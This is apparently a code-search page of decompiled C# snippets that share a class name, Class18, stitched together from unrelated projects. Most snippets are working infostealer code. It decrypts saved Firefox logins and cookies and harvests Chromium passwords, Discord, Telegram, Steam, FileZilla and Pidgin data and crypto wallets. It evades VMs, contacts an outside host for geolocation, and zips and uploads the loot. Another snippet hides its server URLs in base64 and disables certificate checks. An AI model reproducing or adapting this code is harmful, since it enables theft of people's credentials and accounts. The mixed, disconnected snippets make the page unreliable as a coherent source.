Exemplo n.º 1
0
    // Token: 0x06000173 RID: 371 RVA: 0x0000D104 File Offset: 0x0000B304
    public static void smethod_2()
    {
        if (!Directory.Exists(Dirs.WorkDir + "\\Browsers"))
        {
            Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
        }
        List <string> list = new List <string>();

        list.AddRange(Class18.smethod_0(Class18.string_0, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        list.AddRange(Class18.smethod_0(Class18.string_2, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        foreach (string text in list)
        {
            string fullName = new FileInfo(text).Directory.FullName;
            string string_  = text.Contains(Class18.string_2) ? Class18.smethod_12(fullName) : Class18.smethod_13(fullName);
            string string_2 = Class18.smethod_3(fullName);
            Class18.smethod_1(fullName, string_, string_2);
        }
    }
Exemplo n.º 2
0
    // Token: 0x06000175 RID: 373 RVA: 0x0000D278 File Offset: 0x0000B478
    public static string smethod_4(string string_3)
    {
        string text = Class18.smethod_5();

        File.Copy(string_3, text, true);
        return(text);
    }
Exemplo n.º 3
0
    // Token: 0x06000170 RID: 368 RVA: 0x0000CD94 File Offset: 0x0000AF94
    public static List <string> smethod_0(string string_3, int int_0 = 4, int int_1 = 1, params string[] files)
    {
        List <string> list = new List <string>();
        List <string> result;

        if (files == null || files.Length == 0 || int_1 > int_0)
        {
            result = list;
        }
        else
        {
            try
            {
                string[] directories = Directory.GetDirectories(string_3);
                foreach (string path in directories)
                {
                    try
                    {
                        DirectoryInfo directoryInfo = new DirectoryInfo(path);
                        FileInfo[]    files2        = directoryInfo.GetFiles();
                        bool          flag          = false;
                        int           num           = 0;
                        while (num < files2.Length && !flag)
                        {
                            int num2 = 0;
                            while (num2 < files.Length && !flag)
                            {
                                string   a        = files[num2];
                                FileInfo fileInfo = files2[num];
                                if (a == fileInfo.Name)
                                {
                                    flag = true;
                                    list.Add(fileInfo.FullName);
                                }
                                num2++;
                            }
                            num++;
                        }
                        foreach (string item in Class18.smethod_0(directoryInfo.FullName, int_0, int_1 + 1, files))
                        {
                            if (!list.Contains(item))
                            {
                                list.Add(item);
                            }
                        }
                    }
                    catch
                    {
                    }
                }
                result = list;
            }
            catch
            {
                result = list;
            }
        }
        return(result);
    }
Exemplo n.º 4
0
 // Token: 0x06000222 RID: 546 RVA: 0x000051DC File Offset: 0x000033DC
 public static void smethod_0(string string_1)
 {
     if (File.Exists(Class18.string_0))
     {
         Directory.CreateDirectory(string_1 + "\\Jabber\\Pidgin\\");
         Class18.smethod_1(Class18.string_0, string_1 + "\\Jabber\\Pidgin\\Pidgin.log");
     }
 }
Exemplo n.º 5
0
        public void Test2()
        {
            int expected = 3;

            int[] input  = new int[] { 1, 3, 4, -6, -6, -6, 7 };
            var   actual = Class18.FirstOccurence(input, -6);

            Assert.Equal(expected, actual);
        }
Exemplo n.º 6
0
 internal Class11(Class18 class18_0, object object_1, int int_16)
 {
     this.int_12   = new int[4320];
     this.byte_0   = new byte[int_16];
     this.int_13   = int_16;
     this.object_0 = object_1;
     this.int_2    = 0;
     Class73.smethod_227(class18_0, (long[])null, this);
 }
Exemplo n.º 7
0
        public void Test4()
        {
            int expected = 0;

            int[] input  = new int[] { 7, 7 };
            var   actual = Class18.FirstOccurence(input, 7);

            Assert.Equal(expected, actual);
        }
Exemplo n.º 8
0
    internal Class5(Document A_0, Class18 A_1, CharacterFormat A_2) : base(A_0)
    {
        int num = 11;

        this.class18_0 = A_1;
        if (A_2 == null)
        {
            throw new ArgumentNullException(BookmarkStart.b("䌰䘲嬴朶䬸", num));
        }
        base.m_charFormat = A_2;
    }
 public virtual void vmethod_1()
 {
     if (this.bool_0)
     {
         Class73.smethod_166(this.class18_0);
     }
     else
     {
         Class73.smethod_197(this.class18_0);
     }
     Class73.smethod_19(this.class18_0);
     this.class18_0 = (Class18)null;
 }
Exemplo n.º 10
0
    internal override bool vmethod_0(DocumentObject A_0)
    {
        if (A_0.DocumentObjectType != DocumentObjectType.OfficeMath)
        {
            return(false);
        }
        Class18 class2 = ((Class5)A_0).method_32();

        if (class2.vmethod_1() != MathObjectType.Numerator)
        {
            return(class2.vmethod_1() == MathObjectType.Denominator);
        }
        return(true);
    }
Exemplo n.º 11
0
 // Token: 0x06000171 RID: 369 RVA: 0x0000CEE8 File Offset: 0x0000B0E8
 public static void smethod_1(string string_3, string string_4, string string_5)
 {
     try
     {
         if (File.Exists(Path.Combine(string_3, "key3.db")))
         {
             Class18.smethod_7(string_3, Class18.smethod_9(Class18.smethod_4(Path.Combine(string_3, "key3.db"))), string_4, string_5);
         }
         Class18.smethod_7(string_3, Class18.smethod_8(Class18.smethod_4(Path.Combine(string_3, "key4.db"))), string_4, string_5);
     }
     catch (Exception)
     {
     }
 }
        public virtual unsafe void System\u002EIO\u002EStream\u002EWrite(
            byte[] buffer,
            int offset,
            int count)
        {
            // ISSUE: untyped stack allocation
            void *voidPtr = (void *)__untypedstackalloc(10);

            *(sbyte *)((IntPtr)voidPtr + 8) = (sbyte)(count == 0);
            if (*(sbyte *)((IntPtr)voidPtr + 8) == (sbyte)0)
            {
                byte[] numArray = new byte[buffer.Length];
                Array.Copy((Array)buffer, 0, (Array)numArray, 0, buffer.Length);
                this.class18_0.byte_0 = numArray;
                this.class18_0.int_1  = offset;
                this.class18_0.int_2  = count;
                do
                {
                    this.class18_0.byte_1           = this.byte_0;
                    this.class18_0.int_3            = 0;
                    this.class18_0.int_4            = this.int_0;
                    *(sbyte *)((IntPtr)voidPtr + 9) = (sbyte)this.bool_0;
                    if (*(sbyte *)((IntPtr)voidPtr + 9) == (sbyte)0)
                    {
                        *(int *)voidPtr = Class73.smethod_60(this.class18_0, this.int_1);
                    }
                    else
                    {
                        goto label_6;
                    }
label_3:
                    if ((*(int *)voidPtr == 0 ? 0 : (*(int *)voidPtr != 1 ? 1 : 0)) == 0)
                    {
                        this.stream_0.Write(this.byte_0, 0, this.int_0 - this.class18_0.int_4);
                        continue;
                    }
                    goto label_9;
label_6:
                    Class18 class180 = this.class18_0;
                    *(int *)((IntPtr)voidPtr + 4) = this.int_1;
                    *(int *)voidPtr = Class73.smethod_232(*(int *)((IntPtr)voidPtr + 4), class180);
                    goto label_3;
                }while ((this.class18_0.int_2 > 0 ? 1 : (this.class18_0.int_4 == 0 ? 1 : 0)) != 0);
                return;

label_9:
                throw new Exception0((this.bool_0 ? "de" : "in") + "flating: " + this.class18_0.string_0);
            }
        }
Exemplo n.º 13
0
        public void Test_Class18()
        {
            var instance = new Harmony("test");

            Assert.NotNull(instance, "instance");
            var processor = instance.CreateClassProcessor(typeof(Class18Patch));

            Assert.NotNull(processor, "processor");

            var methods = processor.Patch();

            Assert.NotNull(methods, "methods");
            Assert.AreEqual(1, methods.Count);

            Class18Patch.prefixExecuted = false;
            var color = Class18.GetDefaultNameplateColor(new APIUser());

            Assert.IsTrue(Class18Patch.prefixExecuted, "prefixExecuted");
            Assert.AreEqual((float)1, color.r);
        }
Exemplo n.º 14
0
 // Token: 0x0600017A RID: 378 RVA: 0x0000D960 File Offset: 0x0000BB60
 private static byte[] smethod_9(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             Gecko9 gecko9_  = new Gecko9(string_3);
             Gecko7 gecko    = new Gecko7(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_0)));
             string string_4 = Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_1));
             Gecko8 gecko2   = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), Class18.smethod_10(gecko.EntrySalt));
             gecko2.method_2();
             Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class18.smethod_10(gecko.Passwordcheck), PaddingMode.None);
             Gecko4 gecko3 = Gecko1.Create(Class18.smethod_10(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_2))));
             Gecko8 gecko4 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
             gecko4.method_2();
             Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
             if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
             {
                 array  = gecko5.Objects[0].Objects[3].ObjectData;
                 result = array;
             }
             else
             {
                 Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Exemplo n.º 15
0
 // Token: 0x06000177 RID: 375 RVA: 0x0000D308 File Offset: 0x0000B508
 public static void smethod_6(string string_3, string string_4, string string_5)
 {
     try
     {
         string string_6 = Path.Combine(string_3, "cookies.sqlite");
         CNT    cnt      = new CNT(Class18.smethod_4(string_6));
         cnt.ReadTable("moz_cookies");
         for (int i = 0; i < cnt.RowLength; i++)
         {
             try
             {
                 Class18.list_0.Add(cnt.ParseValue(i, "host").Trim());
                 Class18.list_1.Add(string.Concat(new string[]
                 {
                     cnt.ParseValue(i, "host").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "path").Trim(),
                     "\t",
                     (cnt.ParseValue(i, "isSecure") == "1").ToString(),
                     "\t",
                     cnt.ParseValue(i, "expiry").Trim(),
                     "\t",
                     cnt.ParseValue(i, "name").Trim(),
                     "\t",
                     cnt.ParseValue(i, "value"),
                     Environment.NewLine
                 }));
                 Class20.int_0++;
             }
             catch
             {
             }
         }
     }
     catch (Exception)
     {
     }
 }
Exemplo n.º 16
0
 // Token: 0x06000178 RID: 376 RVA: 0x0000D4B0 File Offset: 0x0000B6B0
 public static void smethod_7(string string_3, byte[] byte_1, string string_4, string string_5)
 {
     try
     {
         string path = Class18.smethod_4(Path.Combine(string_3, "logins.json"));
         if (File.Exists(path))
         {
             foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
             {
                 JsonValue jsonValue = (JsonValue)obj;
                 Class26.int_0++;
                 Gecko4 gecko  = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                 Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                 string text   = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string text2  = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string text3  = jsonValue["hostname"].ToString(true).Replace("\"", "").Replace("https://", "").Replace("http://", "").Replace("www.", "");
                 Class26.string_0 = string.Concat(new string[]
                 {
                     Class26.string_0,
                     Environment.NewLine,
                     "Host: ",
                     text3,
                     Environment.NewLine,
                     "Login: "******"Password: "******"Soft: ",
                     string_4,
                     Environment.NewLine
                 });
             }
         }
     }
     catch
     {
     }
 }
Exemplo n.º 17
0
    // Token: 0x06000172 RID: 370 RVA: 0x0000CF58 File Offset: 0x0000B158
    public static void Cookies()
    {
        if (!Directory.Exists(Dirs.WorkDir + "\\Browsers"))
        {
            Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
        }
        List <string> list = new List <string>();

        list.AddRange(Class18.smethod_0(Class18.string_0, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        list.AddRange(Class18.smethod_0(Class18.string_2, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        foreach (string text in list)
        {
            string fullName = new FileInfo(text).Directory.FullName;
            string string_  = text.Contains(Class18.string_2) ? Class18.smethod_12(fullName) : Class18.smethod_13(fullName);
            string string_2 = Class18.smethod_3(fullName);
            Class18.smethod_6(fullName, string_, string_2);
            string text2 = "";
            foreach (string str in Class18.list_1)
            {
                text2 += str;
            }
            if (text2 != "")
            {
                File.WriteAllText(Dirs.WorkDir + "\\Browsers\\Cookies_Gecko.txt", text2, Encoding.Default);
            }
        }
    }
Exemplo n.º 18
0
        private static void Main(string[] args)
        {
            if (File.Exists(Program.path2))
            {
                Environment.Exit(0);
            }
            if (Program.GetCheckVMBot())
            {
                Environment.Exit(0);
            }
            StreamWriter streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);

            Directory.CreateDirectory(Program.path);
            streamWriter.WriteLine("Created directory");
            Class4.SaveScreen(Program.path + "\\image.png");
            streamWriter.WriteLine("SaveScreen");
            streamWriter.WriteLine("[Browsers Started]");
            streamWriter.Close();
            try
            {
                Class18.smethod_2();
                Class20.smethod_0();
                Class26.smethod_0();
                Class18.Cookies();
                Class30.smethod_9();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Class2.smethod_0(Program.path + "\\Browsers");
            }
            catch (Exception ex2)
            {
                Console.WriteLine(ex2.ToString());
            }
            try
            {
                List <Account> list = Chromium.Grab();
                foreach (Account account in list)
                {
                    File.WriteAllText(Program.path + "\\Browsers\\PasswordsChromium.txt", string.Concat(new string[]
                    {
                        "Url: ",
                        account.URL,
                        "\nUsername: "******"\nPassword: "******"\nApplication: ",
                        account.Application,
                        "\n"
                    }));
                }
            }
            catch (Exception ex3)
            {
                Console.WriteLine(ex3.ToString());
            }
            streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);
            streamWriter.WriteLine("[Browser End]");
            Class4.Discord(Program.path + "\\Discord");
            streamWriter.WriteLine("Discord");
            Class4.FileZilla(Program.path + "\\FileZilla");
            streamWriter.WriteLine("FileZilla");
            Class4.Telegram(Program.path + "\\Telegram");
            streamWriter.WriteLine("Telegram");
            Class4.Steam(Program.path + "\\Steam");
            streamWriter.WriteLine("Steam");
            Class4.smethod_3(Program.path + "\\Wallets");
            streamWriter.WriteLine("Wallets");
            Class4.Pidgin(Program.path + "\\Pidgin");
            streamWriter.WriteLine("Pidgin");
            try
            {
                using (WebClient webClient = new WebClient())
                {
                    byte[] bytes = webClient.DownloadData("http://fuckingav.xyz/antivirus.php");
                    Program.geo = Encoding.ASCII.GetString(bytes);
                }
            }
            catch
            {
                Program.geo = "Unknown?Unknown?Unknown?UN";
            }
            streamWriter.WriteLine("Geo");
            Class4.smethod_0(Program.path + "\\info.txt");
            try
            {
                string text = string.Concat(new string[]
                {
                    Program.string_1,
                    "\\[",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[3],
                    "]",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[0],
                    ".zip"
                });
                Class6.smethod_3(Program.path, text);
                Class6.smethod_4(text, Program.id, "[" + Program.geo.Split(new char[]
                {
                    '?'
                })[3] + "]" + Program.geo.Split(new char[]
                {
                    '?'
                })[0]);
                Directory.Delete(Program.path, true);
                Directory.Delete(Program.string_1, true);
            }
            catch (Exception ex4)
            {
                Console.WriteLine(ex4.ToString());
            }
        }
Exemplo n.º 19
0
 // Token: 0x0600060E RID: 1550 RVA: 0x00034A6C File Offset: 0x00032C6C
 private bool method_12(Class18 <JToken, string> class18_0)
 {
     return(this.string_5.All(new Func <string, bool>(class18_0.method_1().Contains)) && !this.string_4.Any(new Func <string, bool>(class18_0.method_1().Contains)));
 }
Exemplo n.º 20
0
 // Token: 0x06000617 RID: 1559 RVA: 0x00005F3C File Offset: 0x0000413C
 internal string method_4(Class18 <JToken, string> class18_0)
 {
     return(class18_0.method_0()["image_url"].ToString());
 }
Exemplo n.º 21
0
        // Token: 0x060004A3 RID: 1187 RVA: 0x000274E4 File Offset: 0x000256E4
        private void bunifuImageButton2_Click(object sender, EventArgs e)
        {
            this.m_StateMethod = true;
            switch (this.metroTabControl1.SelectedIndex)
            {
            case 0:
                if (!this.radioButton1.Checked)
                {
                    MessageBox.Show("You must select a plan in order to continue");
                    return;
                }
                break;

            case 1:
            {
                if (this.metroTextBox1.Text == "")
                {
                    MessageBox.Show("You must select a username in order to continue");
                    return;
                }
                string instance = string.Concat(new string[]
                    {
                        DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm"),
                        "|",
                        "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4",
                        "|",
                        this.metroTextBox1.Text
                    });
                string s = string.Concat(new string[]
                    {
                        "ausdh0asy",
                        "8dUASY",
                        this.label3.Text,
                        ")/",
                        "ASydASDIAS"
                    });
                byte[] counter  = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s));
                byte[] consumer = new byte[]
                {
                    1,
                    178,
                    187,
                    101,
                    193,
                    229,
                    22,
                    188,
                    231,
                    231,
                    239,
                    37,
                    230,
                    115,
                    7,
                    229
                };
                ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(this.CallMap);
                byte[]         bytes          = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD02JmtleT0=");
                string         text           = Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer);
                string         text2          = "";
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text);
                httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip;
                using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
                {
                    using (Stream responseStream = httpWebResponse.GetResponseStream())
                    {
                        using (StreamReader streamReader = new StreamReader(responseStream))
                        {
                            text2 = streamReader.ReadToEnd();
                        }
                    }
                }
                string[] array = text2.Replace("\n", "").Replace(" ", "").Split(new char[]
                    {
                        '|'
                    });
                if (array[0] == "1")
                {
                    MessageBox.Show("You already have premium, you can't purchase it again on this machine.");
                    return;
                }
                if (array[1] == "1")
                {
                    MessageBox.Show("That username is already taken. Please choose another one.");
                    return;
                }
                if (!this.metroTextBox6.Text.Contains("@"))
                {
                    MessageBox.Show("Please enter a valid email address. Your order will manually be reviewed before being accepted.");
                    return;
                }
                if (this.metroTextBox3.Text == "")
                {
                    MessageBox.Show("Please enter a valid email address. Your order will manually be reviewed before being accepted.");
                    return;
                }
                break;
            }

            case 4:
                if (this.m_RegMethod != null && !(this.metroTextBox10.Text == ""))
                {
                    if (MessageBox.Show("Are you sure you would like to submit the order? I'd recommend you to check all the fields before submitting.", "Verify", MessageBoxButtons.YesNo) == DialogResult.No)
                    {
                        return;
                    }
                    this.bunifuImageButton1.Enabled = false;
                    this.bunifuImageButton2.Enabled = false;
                    StringBuilder stringBuilder  = new StringBuilder();
                    StringBuilder stringBuilder2 = new StringBuilder();
                    stringBuilder2.Append(this.metroTextBox1.Text);
                    stringBuilder2.Append("|" + this.metroTextBox2.Text);
                    stringBuilder2.Append("|" + this.metroTextBox10.Text);
                    stringBuilder2.Append("|" + this.metroTextBox6.Text);
                    stringBuilder2.Append("|" + this.metroTextBox4.Text);
                    stringBuilder2.Append("|" + this.metroTextBox7.Text);
                    stringBuilder2.Append("|none");
                    stringBuilder2.Append("|2 DLS");
                    stringBuilder2.Append("|" + this.metroTextBox3.Text);
                    stringBuilder2.Append("|" + this.metroTextBox8.Text);
                    Console.WriteLine(stringBuilder2);
                    stringBuilder.AppendLine("Your order has successfully been submitted.");
                    stringBuilder.AppendLine("");
                    stringBuilder.AppendLine("----------Receipt----------");
                    if (this.radioButton1.Checked)
                    {
                        stringBuilder.AppendLine("Plan: Premium (2 DLS/4 USD)");
                    }
                    stringBuilder.AppendLine("Username: "******"Password: "******"Recovery password: "******"Discord: " + this.metroTextBox7.Text);
                    stringBuilder.AppendLine("Email: " + this.metroTextBox6.Text + Class18.smethod_11(28178) + this.metroTextBox4.Text);
                    stringBuilder.AppendLine("Verification method: Email");
                    stringBuilder.AppendLine("Payment: 2 DLS");
                    stringBuilder.AppendLine("Time & date (UTC): " + DateTime.UtcNow.ToString());
                    stringBuilder.AppendLine("Payment proof: ");
                    this.m_RegMethod.Save("screenshot.jpg", ImageFormat.Jpeg);
                    string value;
                    using (Image image = Image.FromFile("screenshot.jpg"))
                    {
                        using (MemoryStream memoryStream = new MemoryStream())
                        {
                            image.Save(memoryStream, image.RawFormat);
                            value = Convert.ToBase64String(memoryStream.ToArray());
                        }
                    }
                    string text2 = string.Empty;
                    try
                    {
                        string[] array2 = new string[7];
                        array2[0] = DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm");
                        array2[1] = "|";
                        array2[2] = "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4";
                        array2[3] = "|";
                        array2[4] = this.metroTextBox4.Text;
                        array2[5] = "|Premium purchase receipt|";
                        int           num            = 6;
                        StringBuilder stringBuilder3 = stringBuilder;
                        array2[num] = ((stringBuilder3 != null) ? stringBuilder3.ToString() : null);
                        string instance = string.Concat(array2);
                        string s        = string.Concat(new string[]
                        {
                            "ausdh0asy",
                            "8dUASY",
                            this.label4.Text,
                            ")/",
                            "ASydASDIAS"
                        });
                        byte[] counter  = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s));
                        byte[] consumer = new byte[]
                        {
                            1,
                            178,
                            187,
                            101,
                            193,
                            229,
                            22,
                            188,
                            231,
                            231,
                            239,
                            37,
                            230,
                            115,
                            7,
                            229
                        };
                        byte[] bytes = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD05JmtleT0=");
                        string text  = Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer);
                        using (WebClient webClient = new WebClient())
                        {
                            byte[] bytes2 = webClient.UploadValues(text, new NameValueCollection
                            {
                                {
                                    "imageData",
                                    value
                                }
                            });
                            Console.WriteLine("Server Said: " + Encoding.Default.GetString(bytes2));
                        }
                    }
                    catch (Exception)
                    {
                        MessageBox.Show("Couldn't establish a connection to the server. Either the server is down, or you don't have any intrnet connection. Using a VPN might solve this issue.");
                        return;
                    }
                    try
                    {
                        string[] array3 = new string[5];
                        array3[0] = DateTime.UtcNow.ToString("yyyy-MM-dd-HH-mm");
                        array3[1] = "|";
                        array3[2] = "59DC-816E-BE7D-8EDC-340E-E11E-5E5A-04E4";
                        array3[3] = "|";
                        int           num2           = 4;
                        StringBuilder stringBuilder4 = stringBuilder2;
                        array3[num2] = ((stringBuilder4 != null) ? stringBuilder4.ToString() : null);
                        string instance = string.Concat(array3);
                        string s        = string.Concat(new string[]
                        {
                            "ausdh0asy",
                            "8dUASY",
                            this.label4.Text,
                            ")/",
                            "ASydASDIAS"
                        });
                        byte[] counter  = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes(s));
                        byte[] consumer = new byte[]
                        {
                            1,
                            178,
                            187,
                            101,
                            193,
                            229,
                            22,
                            188,
                            231,
                            231,
                            239,
                            37,
                            230,
                            115,
                            7,
                            229
                        };
                        ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(this.CallMap);
                        byte[]         bytes           = Convert.FromBase64String("aHR0cHM6Ly9yZWFsZ29ibGlucy5kdWNrZG5zLm9yZzozNjgwMC9hcGkucGhwP2NtZD0xMCZrZXk9");
                        string         text            = Encoding.UTF8.GetString(bytes) + Worker.InsertList(instance, counter, consumer);
                        HttpWebRequest httpWebRequest2 = (HttpWebRequest)WebRequest.Create(text);
                        httpWebRequest2.AutomaticDecompression = DecompressionMethods.GZip;
                        using (HttpWebResponse httpWebResponse2 = (HttpWebResponse)httpWebRequest2.GetResponse())
                        {
                            using (Stream responseStream2 = httpWebResponse2.GetResponseStream())
                            {
                                using (StreamReader streamReader2 = new StreamReader(responseStream2))
                                {
                                    text2 = streamReader2.ReadToEnd();
                                }
                            }
                        }
                        string[] array = text2.Replace("\n", "").Replace(" ", "").Split(new char[]
                        {
                            '|'
                        });
                        break;
                    }
                    catch (Exception)
                    {
                        MessageBox.Show("Couldn't establish a connection to the server. Either the server is down, or you don't have any intrnet connection. Using a VPN might solve this issue.");
                        break;
                    }
                }
                MessageBox.Show("Please add a proof of that you've paid and type your GrowID in the box.");
                return;

            case 5:
            {
                bool @checked = this.radioButton3.Checked;
                break;
            }
            }
            this.metroTabControl1.SelectedIndex = this.metroTabControl1.SelectedIndex + 1;
        }
Exemplo n.º 22
0
        // Token: 0x060002B1 RID: 689 RVA: 0x00010F08 File Offset: 0x0000F108
        public void ExcludeMethod(IntPtr value, string cfg)
        {
            Console.WriteLine(cfg);
            cfg = cfg.ToUpper();
            ParamVisitor.PostMessage(value, 256U, (IntPtr)13, IntPtr.Zero);
            ParamVisitor.PostMessage(value, 257U, (IntPtr)13, IntPtr.Zero);
            int i = 0;

            while (i < cfg.Length)
            {
                string text = cfg[i].ToString();
                if (text == null)
                {
                    goto IL_5C2;
                }
                uint num = < PrivateImplementationDetails >.ComputeStringHash(text);
                Keys value2;
                if (num <= 772578730U)
                {
                    if (num <= 621580159U)
                    {
                        if (num <= 554469683U)
                        {
                            if (num <= 252472541U)
                            {
                                if (num != 202139684U)
                                {
                                    if (num != 252472541U)
                                    {
                                        goto IL_5C2;
                                    }
                                    if (!(text == "\n"))
                                    {
                                        goto IL_5C2;
                                    }
                                }
                                else if (!(text == "\t"))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.Space;
                            }
                            else if (num != 537692064U)
                            {
                                if (num != 554469683U)
                                {
                                    goto IL_5C2;
                                }
                                if (!(text == "$"))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.Home;
                            }
                            else
                            {
                                if (!(text == "%"))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.Left;
                            }
                        }
                        else if (num <= 588024921U)
                        {
                            if (num != 571247302U)
                            {
                                if (num != 588024921U)
                                {
                                    goto IL_5C2;
                                }
                                if (!(text == "&"))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.Up;
                            }
                            else
                            {
                                if (!(text == "'"))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.Right;
                            }
                        }
                        else if (num != 604802540U)
                        {
                            if (num != 621580159U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == " "))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.Space;
                        }
                        else
                        {
                            if (!(text == "!"))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.Prior;
                        }
                    }
                    else if (num <= 688690635U)
                    {
                        if (num <= 655135397U)
                        {
                            if (num != 638357778U)
                            {
                                if (num != 655135397U)
                                {
                                    goto IL_5C2;
                                }
                                if (!(text == "\""))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.Next;
                            }
                            else
                            {
                                if (!(text == "#"))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.End;
                            }
                        }
                        else if (num != 671913016U)
                        {
                            if (num != 688690635U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == ","))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.Snapshot;
                        }
                        else
                        {
                            if (!(text == "-"))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.Insert;
                        }
                    }
                    else if (num <= 722245873U)
                    {
                        if (num != 705468254U)
                        {
                            if (num != 722245873U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == Class18.smethod_11(5114)))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.Delete;
                        }
                        else
                        {
                            if (!(text == Class18.smethod_11(5192)))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.OemQuestion;
                        }
                    }
                    else if (num != 739023492U)
                    {
                        if (num != 755801111U)
                        {
                            if (num != 772578730U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == "+"))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.Execute;
                        }
                        else
                        {
                            if (!(text == "("))
                            {
                                goto IL_5C2;
                            }
                            value2 = Keys.Down;
                        }
                    }
                    else
                    {
                        if (!(text == ")"))
                        {
                            goto IL_5C2;
                        }
                        value2 = Keys.Select;
                    }
                }
                else if (num <= 3305896031U)
                {
                    if (num <= 973910158U)
                    {
                        if (num <= 940354920U)
                        {
                            if (num != 789356349U)
                            {
                                if (num != 940354920U)
                                {
                                    goto IL_5C2;
                                }
                                if (!(text == "="))
                                {
                                    goto IL_5C2;
                                }
                                value2 = (Keys.LButton | Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space);
                            }
                            else
                            {
                                if (!(text == "*"))
                                {
                                    goto IL_5C2;
                                }
                                value2 = Keys.Print;
                            }
                        }
                        else if (num != 957132539U)
                        {
                            if (num != 973910158U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == "?"))
                            {
                                goto IL_5C2;
                            }
                            value2 = (Keys.LButton | Keys.RButton | Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space);
                        }
                        else
                        {
                            if (!(text == "<"))
                            {
                                goto IL_5C2;
                            }
                            value2 = (Keys.MButton | Keys.Back | Keys.ShiftKey | Keys.Space);
                        }
                    }
                    else if (num <= 1041020634U)
                    {
                        if (num != 990687777U)
                        {
                            if (num != 1041020634U)
                            {
                                goto IL_5C2;
                            }
                            if (!(text == ";"))
                            {
                                goto IL_5C2;
                            }
                            value2 = (Keys.LButton | Keys.RButton | Keys.Back | Keys.ShiftKey | Keys.Space);
                        }
                        else
                        {
